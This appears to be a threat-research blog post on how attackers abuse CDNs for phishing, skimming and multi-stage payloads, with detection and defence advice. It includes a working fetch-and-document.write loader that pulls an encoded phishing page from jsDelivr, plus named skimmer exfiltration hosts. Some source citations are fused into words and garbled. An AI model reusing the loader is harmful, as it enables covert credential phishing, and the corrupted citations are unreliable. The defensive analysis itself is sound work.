Content Delivery Networks (CDNs) like jsDelivr, Webflow CDN, CloudFront, and Google APIs are trusted internet infrastructure – and attackers are abusing that trust. By hosting malicious pages and payloads on CDN domains, adversaries exploit the domain’s reputation, HTTPS encryption, and caching features to evade detection. In this deep dive, we explore why CDNs are attractive to attackers, review common abuse techniques (phishing pages, malware payloads, skimmers, split payloads, etc.), discuss detection challenges and opportunities, and recommend defenses. References to real campaigns (e.g. the Reactenz/Standforusz jsDelivr attacks, Webflow/Stripe PDF phish, CloudFront malware drops) illustrate these tactics.
Why CDNs Are Attractive to Attackers
CDNs provide several advantages to malicious actors:
Trusted domains: CDNs use well-known hostnames (e.g. cloudfront.net, jsdelivr.net, etc.) with valid TLS certificates. Security tools and users often trust these domains by default. In one analysis, Microsoft noted “Cloudfront is not a malicious domain… it won’t likely raise alarms”. In short, malware or phishing served from a recognized CDN domain can bypass URL blacklists and whitelists.
HTTPS encryption: Content from CDNs is delivered over TLS, hiding payloads from network-based scanners. Attackers can host malicious scripts or pages behind HTTPS and rely on the encrypted channel to thwart inline inspection. Without decrypting HTTPS (a privacy vs. security tradeoff), defenders cannot easily see into the payload.
Persistent caching: CDN edge caches can keep content around long after it’s published. For example, Check Point found a malicious npm package removed from the registry (“standforusz”) was still accessible via jsDelivr weeks later. Attackers exploit this “permanent cache” – once a payload is on the CDN, it may be mirrored globally even if taken down at the source.
Shared hosting: Millions of websites share CDN infrastructure. One CDN domain serves countless unrelated sites. This shared tenancy means defenders cannot simply block the entire CDN without collateral damage. As Juniper researchers note, indiscriminately blocking a CDN “might disrupt access to other sites, which is generally undesirable”. Attackers rely on this immunity: even if traffic to a CDN looks malicious, outright blocking is costly.
Content obfuscation (domain fronting): Some CDNs can be misused to hide the true destination. In domain fronting, the TLS SNI (Server Name Indication) shows a legitimate host (e.g. cdn.provider.com), but the HTTP Host header is for a malicious site. The CDN routes the request “inside” the TLS tunnel to the hidden backend. This lets attackers “tunnel” into a disallowed domain under the guise of an allowed one. Major providers have started disabling this, but variants remain.
The table below summarizes these features:
| CDN Feature | Attacker Benefit | Defender Challenge |
| Trusted domains | Malicious content served from well-known, high-reputation hosts. Users and filters generally trust these URLs. | Blocking the CDN domain (e.g. cloudfront.net) would knock out legitimate services on that network. |
| HTTPS encryption | Payloads hidden inside TLS, preventing passive inspection. A legitimate certificate means no alerts on SSL. | Requires SSL/TLS decryption (proxy or endpoint agents) to inspect traffic, which is resource-intensive. |
| Persistent caching | CDN caches (like jsDelivr’s npm cache) keep malicious files available even after removal. | Once cached globally, takedown requests must propagate to all edge nodes; content may persist and be served from cache. |
| Shared hosting | One domain serves multiple sites; attackers “blend in” with normal traffic. | Blocking must be surgical (by path or content) or risk collateral damage to innocent sites using the CDN. |
| Content obfuscation | Domain fronting hides the real host inside a trusted CDN connection. | Requires correlating TLS SNI/Host and possibly fingerprint (JA3) to unmask the true endpoint; otherwise, traffic looks benign. |
Common CDN Abuse Techniques
Phishing Pages on Trusted CDN Domains
Attackers often host entire phishing pages on a CDN to exploit its trust. For example, malicious actors published HTML/JS files to the free jsDelivr CDN. A notable case involved the npm packages standforusz and reactenz, which contained scripts that assembled a Microsoft login phish entirely in the browser. The initial HTML (sent via email or landing page) included a small script (e.g. jquery.js) that fetched additional files (jquery.min.js and DEMO.txt) from jsDelivr. Once retrieved, the encoded HTML in DEMO.txt was decoded and written into the DOM, displaying a fake Outlook/Microsoft sign-in form. Because all files came from a legitimate CDN domain (cdn.jsdelivr.net), URL filters and browsers did not flag the requests as suspicious.
Examples: Attackers have delivered phishing pages as .html, .txt, or .json on CDN domains. In one campaign, jquery.js fetched a second script and a .txt file from jsDelivr, then wrote them into the document to show a fake Microsoft login. By splitting the payload, each piece (script or text) looks innocuous on its own.
Dynamic DOM injection: The malicious JS often uses methods like document.write or DOM injection. For instance:
jsCopyEditfetch('https://cdn.jsdelivr.net/gh/standforusz/v1.0.3/DEMO.txt')
.then(r => r.text())
.then(txt => document.write(atob(txt)));
Here, the DEMO.txt file fetched from jsDelivr is decoded (atob) and written as HTML. This means the actual phishing content is assembled at runtime, evading static scanning. (In the Brainleeches case, the intermediate files were plain HTML, but attackers often base64-encode content for extra stealth.)
Figure 1: Attack chain in a CDN-hosted phishing campaign. A benign script on a trusted CDN (jquery.js) fetches another script (jquery.min.js) and an HTML payload (DEMO.txt) from jsDelivr. The HTML is then written into the page, rendering a fake Microsoft login form.
The result is a highly evasive attack: all hostnames belong to a high-reputation CDN (no obvious “evil” domain), content is fetched over TLS, and the final phishing page only exists after scripts run in the browser. Static email or web filters see nothing malicious in the URL or file extensions. Only dynamic analysis (e.g. running the script in a sandbox) would reveal the assembled form.
Malware and Stealer Payloads via Non-HTML Files
Attackers also abuse CDNs to deliver malware configurations or payloads using “non-script” files. By embedding code in images, icons, CSS, or JSON, adversaries hide payloads from signature-based scanners. Examples include:
SVG/HTML attachments: SVG image files can include embedded <script> tags. Security researchers reported attacks where SVGs carried obfuscated JavaScript to smuggle malware (HTML smuggling) onto victimstanium.com. For instance, a QBot campaign used base64-encoded SVGs containing script code. Most PDF/mail scanners ignore SVG contents, allowing the payload to reach the browser where the script executes.
Favicon (.ico) files: Favicons are normally static icons, so defenders rarely inspect them. Attackers leverage this by hiding malicious code inside an .ico file on a compromised site. Sucuri observed credit-card skimmers entirely concealed in a favicon: once deobfuscated, it performed form data exfiltration on a WooCommerce checkout. Since browsers load favicons without suspicion, a malicious .ico acts like a “phantom” script container that eludes normal checks.
CSS or PNG resources: Even styling or images can carry code or data. An attacker might encode stolen data into a CSS file or send JSON via an innocuous image request. For example, in the “Inter” skimmer campaign, stolen payment data was packaged as JSON, then exfiltrated via an image GET request to a CDN-like URL (…/img). Victims’ stolen data was sent as a base64-encoded JSON object inside what looked like a harmless PNG request.
JSON configs or PIX: Some stealers fetch remote configuration from CDN-hosted JSON or images. By pointing malware at a JSON file on a trusted CDN, attackers keep C2 addresses and commands in a file that looks benign (e.g. an image or stylesheet). Since the domain is familiar and the filetype is unexpected for code, this often bypasses static scans.
These techniques all exploit non-HTML formats to slip past conventional web defenses. A scanner might let an SVG, PNG, or ICO through uninspected, not realizing it contains an active script or encoded payload. Dynamic analysis (opening the file in a sandbox browser) is often required to see the malicious behavior.
Skimming (Magecart) Attacks Hosted on CDNs
E-commerce skimmers (Magecart) have also moved onto CDN infrastructure. Rather than hiding skimmer scripts on the merchant’s domain, attackers sometimes host them on compromised CDNs or lookalike domains. Two notable patterns:
Compromised CDN libraries: In 2019, multiple payment skimming campaigns targeted third-party e-commerce service providers (analytics, ads, etc.). Attackers exploited misconfigured CDN uploads and injected skimmer code into the vendor’s CDN librariesusa.visa.com. Any merchant loading those libraries unwittingly pulled in the skimmer. In those cases, stolen form data was then sent out to attacker-controlled domains like font-assets[.]com/img and cdn-c[.]com/img as part of the Inter skimmer toolkitusa.visa.com.
Typosquat CDN domains: Some skimmers use newly-registered domains that mimic legitimate CDNs (NRDs). For example, Zscaler observed attacks where domains like jquery-ui[.]net (lexically similar to jquery-ui.com) hosted the malicious skimmer JS, and exfiltration occurred via cdn-c[.]com/imgzscaler.com. Because jquery-ui[.]net looks plausible and contains “jquery”/“cdn”, automated filters often treat it as normal web traffic.
In short, Magecart groups abuse CDNs by either hijacking real CDN content or creating fake “cdn” domains. The PCI Visa alert notes that attackers sent stolen card data as JSON under a pseudo-image endpoint on a CDN-like hostusa.visa.com. These CDN-based skimmers are hard to detect: the scripts run only on checkout pages and originate from high-entropy or lookalike CDN addresses, evading reputation checks.
Split and Multi-Stage Payload Delivery
CDNs make it easy to split a payload across multiple files and domains, increasing stealth and flexibility. Attackers often break their malicious payload into stages:
Initial loader: A small HTML or script (often delivered as an email attachment or web redirect).
Secondary fetch: That loader pulls additional scripts or assets from CDNs. Each fetch hides the true purpose.
Final payload: The final assembly (HTML phishing page, decoded script, malware) is executed in the browser or endpoint.
For instance, in the Brainleeches phishing kits, the flow was: an HTML email contains a <script src="jquery.js">; jquery.js (on jsDelivr) fetches jquery.min.js from jsDelivr; jquery.min.js then fetches DEMO.txt (also on jsDelivr); finally the HTML in DEMO.txt is written into the page. This multi-part scheme means no single URL in the attack was overtly malicious – only the combination produced the phish. Splitting payloads also allows mixing file types (e.g. a .js and then a .txt containing HTML).
By distributing pieces across resources, attackers blend in with normal CDN traffic. It also aids persistence: if one file is taken down, others may remain cached. (In the jsDelivr case, even after NPM removed standforusz, its files stayed reachable on the CDN.)
In summary, multi-stage loading and content obfuscation are core techniques. Attackers leverage the CDN to host each stage, knowing static scanners won’t reconstruct the chain.
Detection Challenges
Attacks via CDNs raise several detection challenges:
No bad domain indicator: The malicious content is served from legitimate CDN domains. Network logs simply show access to, say, jsdelivr.net or cloudfront.net. Without inspecting the payload, the domain doesn’t look malicious. Traditional threat intel feeds (blacklisted domains) won’t flag it.
Unusual file types/MIME: Payloads may be hidden in unexpected file formats. An .ico, .png, or .svg file that actually contains executable script or JSON exfiltration code will slip past many scanners. For example, the Inter skimmer sent JSON under a .com/img URL, which might appear to scanners as a benign image fetch.
Scriptless phishing: Some CDN-hosted attacks use minimal or no active script. The Webflow PDF phish (above) relied on a fake CAPTCHA image inside a PDF; the PDF itself had no obvious code to flag, so static analysis missed it. Only after a user clicked the image did the phishing redirect occur. In general, any attack embedded in a static resource (PDF, image) without inline JavaScript can evade conventional web filters.
Runtime decoding: As noted, many payloads are constructed in the browser at runtime. Base64-encoded HTML or scripts fetched from a CDN only become malicious after execution. Static antivirus or URL-scanners don’t execute code, so these techniques evade signature detection. (Check Point specifically highlighted that jsDelivr downloads in the Reactenz case “makes these types of malicious packages invisible to security tools”.)
Encrypted traffic: Standard DPI or antivirus will see only encrypted connections to CDNs (HTTPS). Unless the enterprise inspects HTTPS, the content is opaque. Attackers count on this: they use TLS to shield their traffic, which many networks allow by default.
Dynamic or short-lived domains: Sometimes, attackers use newly minted subdomains on the CDN (e.g. random CloudFront hostnames) that have no history. Detection based on historical reputation or WHOIS is ineffective.
Together, these factors mean that CDN-based attacks blend in with normal web traffic and evade many heuristic or signature checks. Without special analysis, a security team might never notice the malicious load at all.
Detection Opportunities
Despite the challenges, defenders have several options to uncover CDN abuses:
DNS/Proxy telemetry: Monitor access to CDN networks for anomalies. High-entropy or unusual subdomains (long random labels on cloudfront.net or jsdelivr.net) can stand out in DNS/HTTP logs. For example, the Nodersok campaign used seemingly random CloudFront names which could be flagged by frequency or length. Listing the domains of known CDN abuses (from threat reports) and alerting on them is also useful. Even if the domain is “benign”, correlations can help: e.g. if an endpoint fetches jquery.min.js then immediately posts credentials, that is suspicious.
TLS inspection (SNI/JA3): When possible, decrypting traffic to inspect content is ideal. At minimum, collect the TLS SNI (the requested hostname) and JA3 fingerprint. A mismatch between the TLS SNI (e.g. cdn.provider.com) and the actual Host header inside (e.g. evil.com) signals domain fronting. Likewise, identifying the TLS fingerprint of known malware tools (Cobalt Strike, etc.) inside a CDN tunnel may raise alerts. TLS inspection must be balanced with privacy and performance concerns, but focusing on high-risk segments (e.g. finance apps) can pay off.
Endpoint monitoring (EDR/AMSI): Since many CDN payloads execute in memory, robust EDR is valuable. Tools that hook scripting engines or PowerShell can catch decoded scripts. For example, Microsoft found that Nodersok’s scripts only ran in memory and were caught by Defender ATP’s behavioral detections and AMSI instrumentation. Similarly, hooking browser JS engines or monitoring DOM writes could reveal a CDN-delivered script that injects a phishing form.
Heuristic crawling and sandboxing: Automated analysis tools (web crawlers, sandboxes) can be configured to retrieve suspicious CDN content and fully render or execute it. By loading the CDN-hosted scripts in a headless browser, these tools may expose the hidden payload. Netskope, for instance, was able to label the Webflow PDF threat using its sandbox engine and heuristic policies (flagging Document-PDF.Trojan.Heuristic, Phishing.Generic, etc.) even though the PDF came from a legitimate CDN URL. Developing custom parsers for PDF, HTML, or SVG to detect embedded links or scripts can also catch scriptless tricks.
Behavioral IOCs: Enrich detection rules with the behaviors seen in reported campaigns. For example, the Reactenz/Standforusz phish always fetched jquery.min.js and DEMO.txt from jsDelivr. Even without blocking jsdelivr.net, an enterprise could watch for unusual sequences like “script loaded from jsdelivr followed by DOM writes”. Likewise, if a web proxy sees a download of a CSS or icon file followed by an HTTP POST of credentials, that pattern could trigger an investigation.
Threat intelligence: Stay updated on CDNs being abused. Several reports list malicious CDN domains or paths (e.g. the Visa PFD report or Check Point’s jsDelivr indicators). Feeding these into SIEM rules can catch reuse.
In sum, no single method is perfect, but combining network monitoring (DNS/TLS logs), endpoint heuristics, and threat intel can reveal CDN abuse. For example, seeing an internal host contact an unusual CloudFront subdomain and then immediately contacting a known banking site could indicate a hidden finance phish.
Defensive Strategies
To reduce risk from CDN-based attacks, organizations should adopt a layered approach:
Subresource Integrity (SRI): Use SRI hashes on all CDN-delivered scripts and styles. This ensures the browser only executes the exact expected content. If an attacker tampers with the CDN file, the hash check fails and the resource is blocked. For example, if you load jquery.min.js from a CDN, include the integrity hash. SRI effectively “locks” third-party code: even if the CDN is compromised, the browser will refuse altered content.
Strict Content Security Policy (CSP): Define a tight CSP that whitelists only the domains you use for scripts, frames, etc. For instance, explicitly allow scripts only from your domain and specific trusted CDNs; disallow inline scripts/eval. A well-configured CSP can block unexpected CDN scripts from loading, mitigating injected skimmers or phishing scripts. It also thwarts formjacking if the malicious JS domain isn’t in the CSP. (Note: CSP isn’t foolproof if attackers compromise an allowed CDN, but it raises the bar.)
Private registries and dependency vetting: For the software supply chain, host your own package repositories (npm/PyPI/etc.) or use vetted proxy registries. This prevents developers from inadvertently fetching a malicious open-source package like standforusz/reactenz. As the Check Point report shows, even if a package is removed from npm, its CDN cache can persist, so relying only on registry blocks is not enough. Limit the installation of third-party modules and enforce code review/auditing of dependencies. Use tools like npm audit and maintain a known-good lockfile.
Selective TLS decryption: In high-security environments (e.g. sensitive research or finance), consider decrypting TLS traffic at a gateway. This allows inspection of CDN-hosted content. It’s an engineering tradeoff (privacy vs. visibility), but targeted decryption of, say, PDF or image downloads could reveal hidden payloads. If full decryption isn’t possible, ensure SSL/TLS certificates are properly validated and revoked if known-compromised.
Web filtering and behavior rules: Instead of blanket-blocking CDNs (impractical), use context-aware rules. For example, if a financial portal’s login page suddenly loads a CAPTCHA image from Webflow CDN and then a POST goes to an unrelated site, that’s suspicious. Enrich proxy filters with patterns (e.g. file hashes, unusual MIME in image links) from threat intel. Use endpoint security to detect abnormal browser behaviors (mass DOM writes, form data theft) and block or alert on them.
Incident readiness: Finally, recognize that if CDN content is compromised, global takedowns are hard. Have incident plans for rapid threat hunting: query logs for the moment the attack started, identify patient-zero interactions with the CDN, and isolate infected endpoints. Maintain good backups (to mitigate ransomware spread) and user awareness training (so that unusual login prompts from odd sources raise flags).
By combining these defenses – integrity checks, strict policies, restricted supply chains, and smart monitoring – organizations can make CDN abuse far more difficult. Remember, CDNs are meant to speed up and secure content delivery, and with the right precautions, we can turn their strengths against the attackers trying to exploit them.
References
Threat research and real-world analysis of CDN abuse from Juniper Threat Labs, and others document these campaigns and techniques in detail. Each source provides additional context on the examples and recommendations summarized here.
![[CVE-2026-48731] AI-Assisted Discovery of Command Injection in Warp Terminal](/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fuploads%2Fcovers%2F699fec8cc9015c37f6e5364f%2Fe7817cef-a8af-45ec-b931-4e08225edeb6.png&w=3840&q=75)
